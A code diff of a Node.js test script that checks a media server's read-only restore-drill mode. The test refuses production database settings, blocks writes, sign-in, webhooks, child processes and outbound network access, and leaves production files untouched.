- db.run("INSERT INTO vods (app_id, title, file_path, thumbnail_url, duration_seconds, is_public, visibility) VALUES ('live', 'Restored VOD', ?, '/t/vod-1-1.jpg', 60, 1, 'public')", [b.vod]);
- db.run("INSERT INTO vods (app_id, title, file_path, is_public, visibility, is_recording) VALUES ('live', 'Still recording', ?, 1, 'public', 1)", [b.rec]);
- db.run("INSERT INTO clips (app_id, vod_id, title, file_path, duration_seconds, status) VALUES ('live', 1, 'Restored clip', ?, 10, 'ready')", [b.clip]);
- db.run("INSERT INTO assets (app_id, kind, name, file_path, mime) VALUES ('live', 'emote', 'drillWave', ?, 'image/png')", [b.asset]);
- db.run("INSERT INTO pastes (app_id, slug, type, title, screenshot_path, visibility) VALUES ('live', 'shot1', 'screenshot', 'Shot', ?, 'public')", [b.shot]);
- db.run("INSERT INTO files (key, app_id, original_name, size, mime) VALUES ('f1.txt', 'live', 'f1.txt', 13, 'text/plain')");
- require('./server/objects/backfill').backfill({ onlyMissing: true });
- db.close();
- `], { cwd: REPO, encoding: 'utf8', env: { ...process.env, DB_PATH: prodDb, VOD_PATH: P.vods, CLIPS_PATH: P.clips, PASTES_PATH: P.pastes, FILES_PATH: P.files, OBJECTS_PATH: P.objects, ASSETS_PATH: P.assets, THUMBNAILS_PATH: P.thumbs } });
- assert.strictEqual(seed.status, 0, `seeding failed:\n${seed.stdout}\n${seed.stderr}`);
- // The restore: a copy of the database file in the drill's own directory.
- fs.mkdirSync(path.dirname(DB_PATH), { recursive: true });
- fs.copyFileSync(prodDb, DB_PATH);
- const Database = require('better-sqlite3');
- const COUNTED = ['media_objects', 'vods', 'clips', 'apps', 'media_locations', 'media_jobs', 'event_outbox'];
- const counts = () => { const d = new Database(DB_PATH, { readonly: true }); try { return Object.fromEntries(COUNTED.map((t) => { try { return [t, d.prepare(`SELECT count(*) AS n FROM ${t}`).get().n]; } catch { return [t, null]; } })); } finally { d.close(); } };
- const countsBefore = counts();
- const objectId = (() => { const d = new Database(DB_PATH, { readonly: true }); try { return d.prepare("SELECT id FROM media_objects WHERE kind = 'vod' ORDER BY id LIMIT 1").get().id; } finally { d.close(); } })();
- const prodBefore = snapshot(PROD);
-
- // ── Boot the real server in drill mode, in this process, with spies ──
- const port = await freePort();
- Object.assign(process.env, {
- MEDIA_DRILL: '1', DB_PATH, HOST: '127.0.0.1', PORT: String(port), NODE_ENV: 'production',
- // What the production env file sets; a normal boot would act on all of it.
- EVENTS_URL: 'http://127.0.0.1:9', OV_OAUTH_CLIENT_SECRET: 's'.repeat(40), INTERNAL_API_KEY: 'k'.repeat(40),
- MEDIA_APP_KEYS: `live:${'n'.repeat(40)},games:${'g'.repeat(40)}`,
- MEDIA_B2_ENDPOINT: 'https://s3.example.invalid', MEDIA_B2_BUCKET: 'b', MEDIA_B2_KEY_ID: 'id', MEDIA_B2_APP_KEY: 'key',
- MEDIA_R2_ENDPOINT: 'https://r2.example.invalid', MEDIA_R2_BUCKET: 'r', MEDIA_R2_ACCESS_KEY_ID: 'id', MEDIA_R2_SECRET_ACCESS_KEY: 'key',
- // The Host inventory's storage: nothing but the thumbnail listing points at production.
- VOD_PATH: path.join(STORAGE, 'vods'), CLIPS_PATH: path.join(STORAGE, 'clips'), PASTES_PATH: path.join(STORAGE, 'pastes'),
- FILES_PATH: path.join(STORAGE, 'files'), OBJECTS_PATH: path.join(STORAGE, 'objects'), ASSETS_PATH: path.join(STORAGE, 'assets'),
- THUMBNAILS_PATH: P.thumbs,
- });
- const inServer = (stack) => {
- const frame = stack.split('\n').slice(2).find((l) => l.includes(REPO) && !l.includes(`${path.sep}node_modules${path.sep}`) && !l.includes(__filename));
- return frame && frame.includes(`${SERVER}${path.sep}`) ? frame.trim() : null;
- };
- const spied = { intervals: [], longTimeouts: [], listens: [], programs: [], dbPathTouches: [] };
- const realSetInterval = global.setInterval;
- global.setInterval = function (fn, ms, ...a) { spied.intervals.push({ ms, at: (new Error().stack.split('\n')[2] || '').trim() }); return realSetInterval(fn, ms, ...a); };
- const realSetTimeout = global.setTimeout;
- global.setTimeout = function (fn, ms, ...a) { if (ms >= 1000) { const at = inServer(new Error().stack); if (at) spied.longTimeouts.push({ ms, at }); } return realSetTimeout(fn, ms, ...a); };
- const realListen = net.Server.prototype.listen;
- net.Server.prototype.listen = function (...a) { spied.listens.push(a[0]); return realListen.apply(this, a); };
- const cp = require('child_process');
- for (const fn of ['spawn', 'spawnSync', 'exec', 'execSync', 'execFile', 'execFileSync', 'fork']) {
- const orig = cp[fn];
- cp[fn] = function (...a) { spied.programs.push(fn === 'exec' || fn === 'execSync' ? String(a[0]).split(/\s+/)[0] : String(a[0])); return orig.apply(this, a); };
+ let failures = 0;
+ async function check(name, fn) {
+ try { await fn(); console.log(` ✓ ${name}`); } catch (err) { failures++; console.error(` ✗ ${name}\n ${err.stack || err.message}`); }
+ }
+ function freePort() {
+ return new Promise((resolve) => { const s = net.createServer().listen(0, '127.0.0.1', () => { const p = s.address().port; s.close(() => resolve(p)); }); });
}
}
- // Any look at a file path the database holds (production's media) is recorded.
- const dbPaths = new Set(Object.values(bytes));
- for (const fn of ['createReadStream', 'statSync', 'existsSync', 'openSync', 'readFileSync', 'stat', 'open', 'readFile']) {
- const orig = fs[fn];
- fs[fn] = function (p, ...a) { if (dbPaths.has(String(p))) spied.dbPathTouches.push(`${fn} ${p}`); return orig.call(this, p, ...a); };
+ /** Every file and directory under dir with its size and mtime. */
+ function snapshot(dir) {
+ const out = {};
+ const walk = (d) => { for (const e of fs.readdirSync(d, { withFileTypes: true })) { const p = path.join(d, e.name); const s = fs.statSync(p); out[path.relative(dir, p)] = `${e.isDirectory() ? 'dir' : s.size}:${s.mtimeMs}`; if (e.isDirectory()) walk(p); } };
+ walk(dir);
+ return out;
}
}
- delete require.cache[require.resolve('../server/drill')]; // loaded above with MEDIA_DRILL unset
- require('../server/index.js');
- const drill = require('../server/drill');
- const base = `http://127.0.0.1:${port}`;
- const request = (method, p, { headers = {}, body = null } = {}) => new Promise((resolve, reject) => {
- const req = http.request(base + p, { method, headers: { ...(body ? { 'Content-Type': 'application/json' } : {}), ...headers } }, (res) => {
- let b = ''; res.on('data', (c) => { b += c; }); res.on('end', () => resolve({ status: res.statusCode, text: b, json: (() => { try { return JSON.parse(b); } catch { return null; } })() }));
+ const drillMod = require('../server/drill'); // MEDIA_DRILL is unset here: `enabled` is false until the boot below
+ const safe = { DATABASE_URL: DRILL_URL, HOST: '127.0.0.1', PORT: '14100' };
+
+ (async () => {
+ console.log('drill-mode: environment guard');
+ await check('MEDIA_DRILL parses like a switch and is off by default', () => {
+ for (const v of ['1', 'true', 'on', 'yes']) assert.strictEqual(drillMod.parse(v), true, v);
+ for (const v of ['', '0', 'false', 'off', undefined]) assert.strictEqual(drillMod.parse(v), false, String(v));
+ assert.strictEqual(drillMod.enabled, false);
});
});
- req.on('error', reject);
- if (body) req.write(typeof body === 'string' ? body : JSON.stringify(body));
- req.end();
- });
- let ready = null;
- for (let i = 0; i < 150 && !(ready && ready.status === 200); i++) {
- try { ready = await request('GET', '/api/ready'); } catch { /* not listening yet */ }
- if (!ready || ready.status !== 200) await new Promise((r) => realSetTimeout(r, 100));
- }
- await new Promise((r) => realSetTimeout(r, 1500)); // let anything deferred show itself
+ await check('a safe environment passes', () => assert.deepStrictEqual(drillMod.problems(safe), []));
+ await check('refuses production\'s database (ov_media on 5432, or PgBouncer\'s 6432) and a missing DATABASE_URL', () => {
+ for (const u of [PROD_URL, 'postgres://[email protected]:5432/ov_media', 'postgres://ov_media@localhost/ov_media']) {
+ assert.ok(drillMod.problems({ ...safe, DATABASE_URL: u }).some((m) => /production's database/.test(m)), u);
+ }
+ assert.ok(drillMod.problems({ ...safe, DATABASE_URL: '' }).some((m) => /DATABASE_URL is not set/.test(m)));
+ });
+ await check('refuses a DATABASE_DIRECT_URL (a drill never migrates)', () => {
+ assert.ok(drillMod.problems({ ...safe, DATABASE_DIRECT_URL: 'postgres://[email protected]:5432/ov_media' }).some((m) => /never migrates/.test(m)));
+ });
+ await check('refuses a non-loopback HOST and production\'s PORT', () => {
+ for (const h of ['', '0.0.0.0', '::', '10.0.0.4']) assert.ok(drillMod.problems({ ...safe, HOST: h }).some((m) => /not loopback/.test(m)), h);
+ for (const h of ['127.0.0.1', '::1', 'localhost']) assert.deepStrictEqual(drillMod.problems({ ...safe, HOST: h }), [], h);
+ assert.ok(drillMod.problems({ ...safe, PORT: '4100' }).some((m) => /production's port/.test(m)));
+ assert.ok(drillMod.problems({ ...safe, PORT: '' }).some((m) => /PORT is not set/.test(m)));
+ });
+
+ // ── A real `node server/index.js` refuses before opening anything ──
+ console.log('drill-mode: refusal at boot');
+ const refusalPort = await freePort();
+ const boot = (env) => spawnSync(process.execPath, [path.join(SERVER, 'index.js')], {
+ cwd: REPO, encoding: 'utf8', timeout: 30000,
+ env: { ...process.env, MEDIA_DRILL: '1', HOST: '127.0.0.1', PORT: String(refusalPort), ...env },
+ });
+ await check('DATABASE_URL = production\'s database: exit 1', () => {
+ const r = boot({ DATABASE_URL: PROD_URL, DATABASE_DIRECT_URL: '' });
+ assert.strictEqual(r.status, 1, r.stdout + r.stderr);
+ assert.match(r.stderr, /refusing to start a restore-drill instance: DATABASE_URL .* is production's database/);
+ });
+ await check('HOST 0.0.0.0: exit 1 before the database is opened', () => {
+ const r = boot({ DATABASE_URL: DRILL_URL, DATABASE_DIRECT_URL: '', HOST: '0.0.0.0' });
+ assert.strictEqual(r.status, 1, r.stdout + r.stderr);
+ assert.match(r.stderr, /HOST \(0\.0\.0\.0\) is not loopback/);
+ });
+
+ // ── Production's database and files (a normal-mode process writes them) ──
+ // The `live` app's webhook goes to a sink here: a drill must never call it.
+ const sinkHits = [];
+ const sink = http.createServer((req, res) => { sinkHits.push(`${req.method} ${req.url}`); res.end('ok'); });
+ await new Promise((r) => sink.listen(0, '127.0.0.1', r));
+ const SINK = `http://127.0.0.1:${sink.address().port}/media-webhook`;
+ for (const d of Object.values(P)) fs.mkdirSync(d, { recursive: true });
+ const bytes = { vod: path.join(P.vods, 'vod-1.mp4'), rec: path.join(P.vods, 'vod-2.mp4'), clip: path.join(P.clips, 'clip-1.mp4'), asset: path.join(P.assets, 'wave.png'), shot: path.join(P.pastes, 'shot-1.png'), file: path.join(P.files, 'live', 'f1.txt') };
+ fs.mkdirSync(path.dirname(bytes.file), { recursive: true });
+ for (const f of Object.values(bytes)) fs.writeFileSync(f, `bytes of ${path.basename(f)}`);
+ fs.writeFileSync(path.join(P.thumbs, 'vod-1-1.jpg'), 'jpeg');
+ const prodBefore = snapshot(PROD);
- console.log('drill-mode: a booted drill instance');
- await check('/api/ready is 200, mode: drill, and checks no storage and no remote tier', () => {
- assert.strictEqual(ready && ready.status, 200, ready && ready.text);
- assert.strictEqual(ready.json.ready, true);
- assert.strictEqual(ready.json.mode, 'drill');
- assert.deepStrictEqual(Object.keys(ready.json.checks).filter((k) => /^(storage|remote)_/.test(k)), []);
- assert.strictEqual(ready.json.checks.events_outbox.detail.enabled, false);
- });
- await check('one listener: its HTTP port on 127.0.0.1 (no RTP, no other server)', () => {
- assert.deepStrictEqual(spied.listens.map(String), [String(port)]);
- const servers = process._getActiveHandles().filter((h) => h instanceof net.Server && h.listening && h !== sink);
- assert.deepStrictEqual(servers.map((s) => s.address()), [{ address: '127.0.0.1', family: 'IPv4', port }]);
- });
- await check('no timers: no setInterval at all, no timer of a second or more from Media\'s code', () => {
- assert.deepStrictEqual(spied.intervals, [], JSON.stringify(spied.intervals, null, 1));
- assert.deepStrictEqual(spied.longTimeouts, [], JSON.stringify(spied.longTimeouts, null, 1));
- });
- await check('no program but git ran, nothing tried to leave, no webhook reached the app', () => {
- assert.ok(spied.programs.every((p) => path.basename(p) === 'git'), spied.programs.join(', '));
- assert.deepStrictEqual(drill.blocked, []);
- assert.deepStrictEqual(sinkHits, []);
- });
- await check('no app seeding: the copy\'s apps are production\'s, untouched by MEDIA_APP_KEYS', () => {
- assert.deepStrictEqual(counts(), countsBefore);
- });
+ // ── Boot the real server in drill mode, in this process, with spies ──
+ const port = await freePort();
+ Object.assign(process.env, {
+ MEDIA_DRILL: '1', DATABASE_URL: DRILL_URL, DATABASE_DIRECT_URL: '', HOST: '127.0.0.1', PORT: String(port), NODE_ENV: 'production',
+ // What the production env file sets; a normal boot would act on all of it.
+ EVENTS_URL: 'http://127.0.0.1:9', OV_OAUTH_CLIENT_SECRET: 's'.repeat(40), INTERNAL_API_KEY: 'k'.repeat(40),
+ MEDIA_APP_KEYS: `live:${'n'.repeat(40)},games:${'g'.repeat(40)}`,
+ MEDIA_B2_ENDPOINT: 'https://s3.example.invalid', MEDIA_B2_BUCKET: 'b', MEDIA_B2_KEY_ID: 'id', MEDIA_B2_APP_KEY: 'key',
+ MEDIA_R2_ENDPOINT: 'https://r2.example.invalid', MEDIA_R2_BUCKET: 'r', MEDIA_R2_ACCESS_KEY_ID: 'id', MEDIA_R2_SECRET_ACCESS_KEY: 'key',
+ // The Host inventory's storage: nothing but the thumbnail listing points at production.
+ VOD_PATH: path.join(STORAGE, 'vods'), CLIPS_PATH: path.join(STORAGE, 'clips'), PASTES_PATH: path.join(STORAGE, 'pastes'),
+ FILES_PATH: path.join(STORAGE, 'files'), OBJECTS_PATH: path.join(STORAGE, 'objects'), ASSETS_PATH: path.join(STORAGE, 'assets'),
+ THUMBNAILS_PATH: P.thumbs,
+ });
+ // The restored copy's rows (written before the drill boots, as production wrote them).
+ const db = require('../server/db/database');
+ await db.initDb();
+ await db.run("INSERT INTO apps (app_id, name, api_key_hash, webhook_url, webhook_secret) VALUES ('live', 'OpenVibe.Live', ?, ?, 'whsec')", [require('crypto').createHash('sha256').update('k'.repeat(40)).digest('hex'), SINK]);
+ await db.run("INSERT INTO vods (id, app_id, title, file_path, thumbnail_url, duration_seconds, is_public, visibility) OVERRIDING SYSTEM VALUE VALUES (1, 'live', 'Restored VOD', ?, '/t/vod-1-1.jpg', 60, 1, 'public')", [bytes.vod]);
+ await db.run("INSERT INTO vods (id, app_id, title, file_path, is_public, visibility, is_recording) OVERRIDING SYSTEM VALUE VALUES (2, 'live', 'Still recording', ?, 1, 'public', 1)", [bytes.rec]);
+ await db.run("INSERT INTO clips (id, app_id, vod_id, title, file_path, duration_seconds, status) OVERRIDING SYSTEM VALUE VALUES (1, 'live', 1, 'Restored clip', ?, 10, 'ready')", [bytes.clip]);
+ await db.run("INSERT INTO assets (id, app_id, kind, name, file_path, mime) OVERRIDING SYSTEM VALUE VALUES (1, 'live', 'emote', 'drillWave', ?, 'image/png')", [bytes.asset]);
+ await db.run("INSERT INTO pastes (id, app_id, slug, type, title, screenshot_path, visibility) OVERRIDING SYSTEM VALUE VALUES (1, 'live', 'shot1', 'screenshot', 'Shot', ?, 'public')", [bytes.shot]);
+ await db.run("INSERT INTO files (key, app_id, original_name, size, mime) VALUES ('f1.txt', 'live', 'f1.txt', 13, 'text/plain')");
+ await require('../server/objects/backfill').backfill({ onlyMissing: true });
+ const COUNTED = ['media_objects', 'vods', 'clips', 'apps', 'media_locations', 'media_jobs', 'event_outbox'];
+ const counts = async () => Object.fromEntries(await Promise.all(COUNTED.map(async (t) => [t, Number((await db.get(`SELECT COUNT(*) AS n FROM ${t}`)).n)])));
+ const countsBefore = await counts();
+ const objectId = (await db.get("SELECT id FROM media_objects WHERE kind = 'vod' ORDER BY id LIMIT 1")).id;
- console.log('drill-mode: reads');
- const head = execFileSync('git', ['rev-parse', '--short=12', 'HEAD'], { cwd: REPO, encoding: 'utf8' }).trim();
- await check('the endpoints the Host inventory compares render from the copy and ask nobody', async () => {
- const rel = await request('GET', '/release.json');
- assert.strictEqual(rel.status, 200);
- assert.strictEqual(rel.json.release, head);
- const videos = await request('GET', '/browse?tab=videos');
- assert.strictEqual(videos.status, 200);
- assert.ok(videos.text.includes('Restored VOD') && !videos.text.includes('Still recording'));
- assert.match(videos.text, /Thumbnails<span class="n">1</, 'the thumbnail listing is production\'s directory');
- const clips = await request('GET', '/browse?tab=clips');
- assert.strictEqual(clips.status, 200);
- assert.ok(clips.text.includes('Restored clip'));
- assert.strictEqual((await request('GET', '/')).status, 200);
- assert.strictEqual((await request('GET', '/healthz')).status, 200);
- const page = await request('GET', '/v/1', { headers: { Accept: 'text/html' } });
- assert.strictEqual(page.status, 200);
- assert.ok(page.text.includes('Restored VOD'), 'the watch page renders from the row');
- assert.deepStrictEqual(drill.blocked, []);
- assert.deepStrictEqual(spied.dbPathTouches, []);
- });
- await check('every route that would stream a stored file answers 503 without opening the database\'s path', async () => {
- const byteRoutes = ['/v/1', '/v/1?raw=1', '/v/vod-1.mp4', '/c/1', '/c/1?raw=1', `/o/${objectId}`, '/t/vod-1-1.jpg', '/api/thumbnails/vod-1-1.jpg',
- '/a/1', '/f/f1.txt', '/f/screenshots/shot-1.png', '/p/shot1/screenshot', '/live/1/frame.jpg'];
- for (const p of byteRoutes) {
- const r = await request('GET', p, { headers: { Range: 'bytes=0-' } });
- assert.strictEqual(r.status, 503, `${p}: ${r.status} ${r.text.slice(0, 120)}`);
- assert.strictEqual(r.json && r.json.code, 'media.drill_no_bytes', p);
+ const inServer = (stack) => {
+ // A timer a package sets itself (the PostgreSQL pool's connect and idle timeouts) is not Media's.
+ if ((stack.split('\n')[2] || '').includes(`${path.sep}node_modules${path.sep}`)) return null;
+ const frame = stack.split('\n').slice(2).find((l) => l.includes(REPO) && !l.includes(`${path.sep}node_modules${path.sep}`) && !l.includes(__filename));
+ return frame && frame.includes(`${SERVER}${path.sep}`) ? frame.trim() : null;
+ };
+ const spied = { intervals: [], longTimeouts: [], listens: [], programs: [], dbPathTouches: [] };
+ const realSetInterval = global.setInterval;
+ global.setInterval = function (fn, ms, ...a) { spied.intervals.push({ ms, at: (new Error().stack.split('\n')[2] || '').trim() }); return realSetInterval(fn, ms, ...a); };
+ const realSetTimeout = global.setTimeout;
+ global.setTimeout = function (fn, ms, ...a) { if (ms >= 1000) { const at = inServer(new Error().stack); if (at) spied.longTimeouts.push({ ms, at }); } return realSetTimeout(fn, ms, ...a); };
+ const realListen = net.Server.prototype.listen;
+ net.Server.prototype.listen = function (...a) { spied.listens.push(a[0]); return realListen.apply(this, a); };
+ const cp = require('child_process');
+ for (const fn of ['spawn', 'spawnSync', 'exec', 'execSync', 'execFile', 'execFileSync', 'fork']) {
+ const orig = cp[fn];
+ cp[fn] = function (...a) { spied.programs.push(fn === 'exec' || fn === 'execSync' ? String(a[0]).split(/\s+/)[0] : String(a[0])); return orig.apply(this, a); };
+ }
+ // Any look at a file path the database holds (production's media) is recorded.
+ const dbPaths = new Set(Object.values(bytes));
+ for (const fn of ['createReadStream', 'statSync', 'existsSync', 'openSync', 'readFileSync', 'stat', 'open', 'readFile']) {
+ const orig = fs[fn];
+ fs[fn] = function (p, ...a) { if (dbPaths.has(String(p))) spied.dbPathTouches.push(`${fn} ${p}`); return orig.call(this, p, ...a); };
}
}
- assert.deepStrictEqual(spied.dbPathTouches, [], 'no stored file was looked at');
- assert.deepStrictEqual(spied.programs.filter((p) => path.basename(p) !== 'git'), [], 'no ffmpeg/ffprobe');
- });
- console.log('drill-mode: writes, sign-in, side effects');
- await check('writes answer 403 on every path and change nothing; sign-in answers 503', async () => {
- const auth = { Authorization: `Bearer ${'k'.repeat(40)}` };
- const writes = [
- ['POST', '/api/v1/live/vods', { title: 'x' }], ['PUT', '/api/v1/live/vods/1', { title: 'y' }], ['DELETE', '/api/v1/live/vods/1', null],
- ['POST', '/api/v1/live/clips', { vod_id: 1 }], ['PUT', `/api/v2/live/objects/${objectId}/content`, 'raw bytes'], ['POST', '/api/v2/live/jobs', { type: 'thumbnail' }],
- ['POST', '/api/v1/live/admin/storage/tiers/sweep', {}], ['POST', '/internal/avatar-ingest', {}], ['PATCH', '/api/v1/live/vods/1', {}],
- ['POST', '/release-metrics', { counts: { reloaded: { user: 1 } } }],
- ];
- for (const [m, p, body] of writes) {
- const r = await request(m, p, { headers: auth, body });
- assert.strictEqual(r.status, 403, `${m} ${p}: ${r.status}`);
- assert.strictEqual(r.json && r.json.code, 'media.drill_read_only', `${m} ${p}`);
+ delete require.cache[require.resolve('../server/drill')]; // loaded above with MEDIA_DRILL unset
+ await require('../server/index.js').ready;
+ const drill = require('../server/drill');
+ const base = `http://127.0.0.1:${port}`;
+ const request = (method, p, { headers = {}, body = null } = {}) => new Promise((resolve, reject) => {
+ const req = http.request(base + p, { method, headers: { ...(body ? { 'Content-Type': 'application/json' } : {}), ...headers } }, (res) => {
+ let b = ''; res.on('data', (c) => { b += c; }); res.on('end', () => resolve({ status: res.statusCode, text: b, json: (() => { try { return JSON.parse(b); } catch { return null; } })() }));
+ });
+ req.on('error', reject);
+ if (body) req.write(typeof body === 'string' ? body : JSON.stringify(body));
+ req.end();
+ });
+ let ready = null;
+ for (let i = 0; i < 150 && !(ready && ready.status === 200); i++) {
+ try { ready = await request('GET', '/api/ready'); } catch { /* not listening yet */ }
+ if (!ready || ready.status !== 200) await new Promise((r) => realSetTimeout(r, 100));
}
}
- const login = await request('GET', '/auth/login');
- assert.strictEqual(login.status, 503);
- // The object explorer signs nobody in either, and verifies no token (that would ask Network for its key).
- const mine = await request('GET', '/api/v2/me/objects', { headers: { Cookie: 'ov_token=a.b.c' } });
- assert.deepStrictEqual([mine.status, mine.json && mine.json.code], [503, 'media.drill_no_sign_in']);
- const mePage = await request('GET', '/me', { headers: { Cookie: 'ov_token=a.b.c' } });
- assert.ok(mePage.status === 503 && mePage.text.includes('restore-drill'), `/me: ${mePage.status}`);
- assert.deepStrictEqual(drill.blocked, [], 'nothing tried to leave');
- assert.deepStrictEqual(counts(), countsBefore);
- });
- await check('webhooks and the Events relay stay off even when called', async () => {
- assert.strictEqual(await require('../server/webhooks').sendWebhook('live', 'vod.ready', { id: 1 }), false);
- assert.strictEqual(require('../server/events').init(), null);
- assert.deepStrictEqual(sinkHits, []);
- });
- await check('the guards refuse a connection, ffmpeg, a listener and a UDP socket', async () => {
- await assert.rejects(fetch('https://openvibe.live/internal/media-webhook'), /fetch failed/);
- const sock = net.connect({ host: '127.0.0.1', port: sink.address().port });
- const err = await new Promise((resolve) => sock.on('error', resolve));
- assert.strictEqual(err.code, 'ECONNREFUSED');
- assert.deepStrictEqual(sinkHits, [], 'the connection never reached the app');
- assert.throws(() => cp.spawn('ffmpeg', ['-version']), (e) => e.code === 'EDRILL');
- assert.throws(() => net.createServer().listen(12000), (e) => e.code === 'EDRILL');
- assert.throws(() => require('dgram').createSocket('udp4'), (e) => e.code === 'EDRILL');
- });
- await check('production\'s files are untouched and the drill created no storage directory', () => {
- assert.deepStrictEqual(snapshot(PROD), prodBefore);
- assert.ok(!fs.existsSync(STORAGE), `${STORAGE} was created`);
- assert.deepStrictEqual(fs.readdirSync(DRILL), ['db']);
- });
+ await new Promise((r) => realSetTimeout(r, 1500)); // let anything deferred show itself
+
+ console.log('drill-mode: a booted drill instance');
+ await check('/api/ready is 200, mode: drill, and checks no storage and no remote tier', () => {
+ assert.strictEqual(ready && ready.status, 200, ready && ready.text);
+ assert.strictEqual(ready.json.ready, true);
+ assert.strictEqual(ready.json.mode, 'drill');
+ assert.deepStrictEqual(Object.keys(ready.json.checks).filter((k) => /^(storage|remote)_/.test(k)), []);
+ assert.strictEqual(ready.json.checks.events_outbox.detail.enabled, false);
+ });
+ await check('one listener: its HTTP port on 127.0.0.1 (no RTP, no other server)', () => {
+ assert.deepStrictEqual(spied.listens.map(String), [String(port)]);
+ const servers = process._getActiveHandles().filter((h) => h instanceof net.Server && h.listening && h !== sink);
+ assert.deepStrictEqual(servers.map((s) => s.address()), [{ address: '127.0.0.1', family: 'IPv4', port }]);
+ });
+ await check('no timers: no setInterval at all, no timer of a second or more from Media\'s code', () => {
+ assert.deepStrictEqual(spied.intervals, [], JSON.stringify(spied.intervals, null, 1));
+ assert.deepStrictEqual(spied.longTimeouts, [], JSON.stringify(spied.longTimeouts, null, 1));
+ });
+ await check('no program but git ran, nothing tried to leave, no webhook reached the app', () => {
+ assert.ok(spied.programs.every((p) => path.basename(p) === 'git'), spied.programs.join(', '));
+ assert.deepStrictEqual(drill.blocked, []);
+ assert.deepStrictEqual(sinkHits, []);
+ });
+ await check('no app seeding: the copy\'s apps are production\'s, untouched by MEDIA_APP_KEYS', async () => {
+ assert.deepStrictEqual(await counts(), countsBefore);
+ });
+
+ console.log('drill-mode: reads');
+ const head = execFileSync('git', ['rev-parse', '--short=12', 'HEAD'], { cwd: REPO, encoding: 'utf8' }).trim();
+ await check('the endpoints the Host inventory compares render from the copy and ask nobody', async () => {
+ const rel = await request('GET', '/release.json');
+ assert.strictEqual(rel.status, 200);
+ assert.strictEqual(rel.json.release, head);
+ const videos = await request('GET', '/browse?tab=videos');
+ assert.strictEqual(videos.status, 200);
+ assert.ok(videos.text.includes('Restored VOD') && !videos.text.includes('Still recording'));
+ assert.match(videos.text, /Thumbnails<span class="n">1</, 'the thumbnail listing is production\'s directory');
+ const clips = await request('GET', '/browse?tab=clips');
+ assert.strictEqual(clips.status, 200);
+ assert.ok(clips.text.includes('Restored clip'));
+ assert.strictEqual((await request('GET', '/')).status, 200);
+ assert.strictEqual((await request('GET', '/healthz')).status, 200);
+ const page = await request('GET', '/v/1', { headers: { Accept: 'text/html' } });
+ assert.strictEqual(page.status, 200);
+ assert.ok(page.text.includes('Restored VOD'), 'the watch page renders from the row');
+ assert.deepStrictEqual(drill.blocked, []);
+ assert.deepStrictEqual(spied.dbPathTouches, []);
+ });
+ await check('every route that would stream a stored file answers 503 without opening the database\'s path', async () => {
+ const byteRoutes = ['/v/1', '/v/1?raw=1', '/v/vod-1.mp4', '/c/1', '/c/1?raw=1', `/o/${objectId}`, '/t/vod-1-1.jpg', '/api/thumbnails/vod-1-1.jpg',
+ '/a/1', '/f/f1.txt', '/f/screenshots/shot-1.png', '/p/shot1/screenshot', '/live/1/frame.jpg'];
+ for (const p of byteRoutes) {
+ const r = await request('GET', p, { headers: { Range: 'bytes=0-' } });
+ assert.strictEqual(r.status, 503, `${p}: ${r.status} ${r.text.slice(0, 120)}`);
+ assert.strictEqual(r.json && r.json.code, 'media.drill_no_bytes', p);
+ }
+ assert.deepStrictEqual(spied.dbPathTouches, [], 'no stored file was looked at');
+ assert.deepStrictEqual(spied.programs.filter((p) => path.basename(p) !== 'git'), [], 'no ffmpeg/ffprobe');
+ });
+
+ console.log('drill-mode: writes, sign-in, side effects');
+ await check('writes answer 403 on every path and change nothing; sign-in answers 503', async () => {
+ const auth = { Authorization: `Bearer ${'k'.repeat(40)}` };
+ const writes = [
+ ['POST', '/api/v1/live/vods', { title: 'x' }], ['PUT', '/api/v1/live/vods/1', { title: 'y' }], ['DELETE', '/api/v1/live/vods/1', null],
+ ['POST', '/api/v1/live/clips', { vod_id: 1 }], ['PUT', `/api/v2/live/objects/${objectId}/content`, 'raw bytes'], ['POST', '/api/v2/live/jobs', { type: 'thumbnail' }],
+ ['POST', '/api/v1/live/admin/storage/tiers/sweep', {}], ['POST', '/internal/avatar-ingest', {}], ['PATCH', '/api/v1/live/vods/1', {}],
+ ['POST', '/release-metrics', { counts: { reloaded: { user: 1 } } }],
+ ];
+ for (const [m, p, body] of writes) {
+ const r = await request(m, p, { headers: auth, body });
+ assert.strictEqual(r.status, 403, `${m} ${p}: ${r.status}`);
+ assert.strictEqual(r.json && r.json.code, 'media.drill_read_only', `${m} ${p}`);
+ }
+ const login = await request('GET', '/auth/login');
+ assert.strictEqual(login.status, 503);
+ // The object explorer signs nobody in either, and verifies no token (that would ask Network for its key).
+ const mine = await request('GET', '/api/v2/me/objects', { headers: { Cookie: 'ov_token=a.b.c' } });
+ assert.deepStrictEqual([mine.status, mine.json && mine.json.code], [503, 'media.drill_no_sign_in']);
+ const mePage = await request('GET', '/me', { headers: { Cookie: 'ov_token=a.b.c' } });
+ assert.ok(mePage.status === 503 && mePage.text.includes('restore-drill'), `/me: ${mePage.status}`);
+ assert.deepStrictEqual(drill.blocked, [], 'nothing tried to leave');
+ assert.deepStrictEqual(await counts(), countsBefore);
+ });
+ await check('webhooks and the Events relay stay off even when called', async () => {
+ assert.strictEqual(await require('../server/webhooks').sendWebhook('live', 'vod.ready', { id: 1 }), false);
+ assert.strictEqual(require('../server/events').init(), null);
+ assert.deepStrictEqual(sinkHits, []);
+ });
+ await check('the guards refuse a connection, ffmpeg, a listener and a UDP socket', async () => {
+ await assert.rejects(fetch('https://openvibe.live/internal/media-webhook'), /fetch failed/);
+ const sock = net.connect({ host: '127.0.0.1', port: sink.address().port });
+ const err = await new Promise((resolve) => sock.on('error', resolve));
+ assert.strictEqual(err.code, 'ECONNREFUSED');
+ assert.deepStrictEqual(sinkHits, [], 'the connection never reached the app');
+ assert.throws(() => cp.spawn('ffmpeg', ['-version']), (e) => e.code === 'EDRILL');
+ assert.throws(() => net.createServer().listen(12000), (e) => e.code === 'EDRILL');
+ assert.throws(() => require('dgram').createSocket('udp4'), (e) => e.code === 'EDRILL');
+ });
+ await check('production\'s files are untouched and the drill created no storage directory', () => {
+ assert.deepStrictEqual(snapshot(PROD), prodBefore);
+ assert.ok(!fs.existsSync(STORAGE), `${STORAGE} was created`);
+ assert.deepStrictEqual(fs.readdirSync(DRILL), [], 'nothing written in the drill directory');
+ });
- sink.close();
- try { fs.rmSync(tmp, { recursive: true, force: true }); } catch { /* */ }
- if (failures) { console.error(`\n${failures} drill-mode check(s) failed`); process.exit(1); }
- console.log('\ndrill-mode: all checks passed');
- process.exit(0);
+ sink.close();
+ try { fs.rmSync(tmp, { recursive: true, force: true }); } catch { /* */ }
+ if (failures) { console.error(`\n${failures} drill-mode check(s) failed`); process.exit(1); }
